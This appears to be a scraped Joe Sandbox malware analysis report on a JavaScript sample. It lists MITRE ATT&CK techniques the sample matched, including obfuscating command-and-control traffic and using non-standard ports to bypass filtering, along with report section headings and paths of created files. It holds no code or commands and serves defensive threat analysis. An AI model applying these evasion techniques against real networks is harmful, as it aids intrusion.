Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 741645402364914803.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c7e94f81-5c54-4fc8-b90a-872b08ca649c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2604

Windows Analysis Report
741645402364914803.js